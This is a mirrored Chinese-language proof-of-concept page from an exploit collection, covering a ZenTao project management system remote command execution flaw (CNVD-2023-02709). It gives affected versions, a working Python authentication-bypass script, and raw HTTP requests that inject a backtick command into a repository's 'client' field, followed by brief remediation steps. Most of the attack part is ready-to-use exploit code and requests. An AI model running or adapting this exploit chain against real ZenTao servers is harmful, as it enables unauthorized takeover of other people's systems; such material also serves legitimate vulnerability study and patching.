mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-08 12:25:11 +00:00
100 lines
4.5 KiB
Markdown
100 lines
4.5 KiB
Markdown
# 禅道 项目管理系统远程命令执行漏洞 CNVD-2023-02709
|
||
|
||
## 漏洞描述
|
||
|
||
禅道项目管理系统存在远程命令执行漏洞，该漏洞源于在认证过程中未正确退出程序，导致了认证绕过，并且后台中有多种执行命令的方式，攻击者可利用该漏洞在目标服务器上注入任意命令，实现未授权接管服务器。
|
||
|
||
## 漏洞影响
|
||
|
||
```
|
||
杭州易软共创网络科技有限公司 禅道项目管理系统 >=17.4，<=18.0.beta1（开源版）
|
||
杭州易软共创网络科技有限公司 禅道项目管理系统 >=7.4，<=8.0.beta1（企业版）
|
||
杭州易软共创网络科技有限公司 禅道项目管理系统 >=3.4，<=4.0.beta1（旗舰版）
|
||
```
|
||
|
||
## 漏洞复现
|
||
|
||
权限绕过：
|
||
|
||
```
|
||
import requests
|
||
|
||
header={
|
||
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5408.146 Safari/537.36',
|
||
}
|
||
|
||
def bypasscookie(url,session):
|
||
target=url+"/index.php?m=misc&f=captcha&sessionVar=user"
|
||
r=session.get(target,headers=header)
|
||
zentaosid=r.cookies.get_dict()['zentaosid']
|
||
print(zentaosid)
|
||
|
||
header["Cookie"]="zentaosid="+zentaosid
|
||
resp=session.get(url+"/index.php?m=my&f=index",headers=header)
|
||
if "/shandao/www/index.php?m=user&f=login" not in resp.text:
|
||
print("绕过登陆验证")
|
||
else:
|
||
print("无法绕过验证")
|
||
|
||
|
||
|
||
if __name__ == '__main__':
|
||
url="http://127.0.0.1:8081/shandao/www/"
|
||
session=requests.Session()
|
||
bypasscookie(url,session)
|
||
```
|
||
|
||
后台RCE：
|
||
|
||
先创建Gitlab代码库,拿到repoID
|
||
|
||
```
|
||
POST /shandao/www/index.php?m=repo&f=create&objectID=0&tid=rmqcl0ss HTTP/1.1
|
||
Host: 127.0.0.1:8081
|
||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0
|
||
Accept: application/json, text/javascript, */*; q=0.01
|
||
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
|
||
Accept-Encoding: gzip, deflate
|
||
Referer: http://127.0.0.1:8081/shandao/www/index.php?m=repo&f=create&objectID=0&tid=rmqcl0ss
|
||
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
||
X-Requested-With: XMLHttpRequest
|
||
Content-Length: 144
|
||
Origin: http://127.0.0.1:8081
|
||
Connection: close
|
||
Cookie: lang=zh-cn; device=desktop; theme=default; tab=devops; preCaseLibID=1; lastCaseLib=1; checkedItem=; goback=%7B%22devops%22%3A%22http%3A%5C%2F%5C%2F127.0.0.1%3A8081%5C%2Fshandao%5C%2Fwww%5C%2Findex.php%3Fm%3Drepo%26f%3Dbrowse%26repoID%3D1%26branchID%3D%26objectID%3D0%26tid%3Dvwy3ton6%22%7D; zentaosid=r3094u5448167shtdrur4c7b6q; repoBranch=master; windowWidth=1453; windowHeight=844
|
||
Sec-Fetch-Dest: empty
|
||
Sec-Fetch-Mode: cors
|
||
Sec-Fetch-Site: same-origin
|
||
|
||
product%5B%5D=1&SCM=Gitlab&serviceProject=wangnima&name=wangnima2333&path=&encoding=utf-8&client=&account=&password=&encrypt=base64&desc=&uid=63e4a18218a68
|
||
```
|
||
|
||
创建好后，去到
|
||
http://127.0.0.1:8081/shandao/www/index.php?m=repo&f=maintain&tid=rmqcl0ss查看repoID并进入编辑
|
||
|
||
```
|
||
POST /shandao/www/index.php?m=repo&f=edit&repoID=8&objectID=0&tid=rmqcl0ss HTTP/1.1
|
||
Host: 127.0.0.1:8081
|
||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0
|
||
Accept: application/json, text/javascript, */*; q=0.01
|
||
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
|
||
Accept-Encoding: gzip, deflate
|
||
Referer: http://127.0.0.1:8081/shandao/www/index.php?m=repo&f=edit&repoID=8&objectID=0&tid=rmqcl0ss
|
||
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
||
X-Requested-With: XMLHttpRequest
|
||
Content-Length: 222
|
||
Origin: http://127.0.0.1:8081
|
||
Connection: close
|
||
Cookie: lang=zh-cn; device=desktop; theme=default; tab=devops; preCaseLibID=1; lastCaseLib=1; checkedItem=; goback=%7B%22devops%22%3A%22http%3A%5C%2F%5C%2F127.0.0.1%3A8081%5C%2Fshandao%5C%2Fwww%5C%2Findex.php%3Fm%3Drepo%26f%3Dbrowse%26repoID%3D1%26branchID%3D%26objectID%3D0%26tid%3Dvwy3ton6%22%7D; zentaosid=r3094u5448167shtdrur4c7b6q; repoBranch=master; windowWidth=1453; windowHeight=844
|
||
Sec-Fetch-Dest: empty
|
||
Sec-Fetch-Mode: cors
|
||
Sec-Fetch-Site: same-origin
|
||
|
||
product%5B%5D=1&SCM=Subversion&serviceHost=&name=wangnima2333&path=http%3A%2F%2F123.4.5.6&encoding=utf-8&client=%60open+%2FSystem%2FApplications%2FCalculator.app%60&account=&password=&encrypt=base64&desc=&uid=63e4a26b5fd65
|
||
```
|
||
|
||
## 漏洞修复
|
||
|
||
1. 进行官方升级：https://www.zentao.net/book/zentaoprohelp/41.html
|
||
2. 安全产品升级：部分厂商安全产品具备识别该漏洞功能，进行版本升级至最新版。
|
||
3. 临时防护措施：可在 module/common/model.php 文件中 echo $endResponseException->getContent();后面加上 exit(); 来修复权限绕过漏洞。 |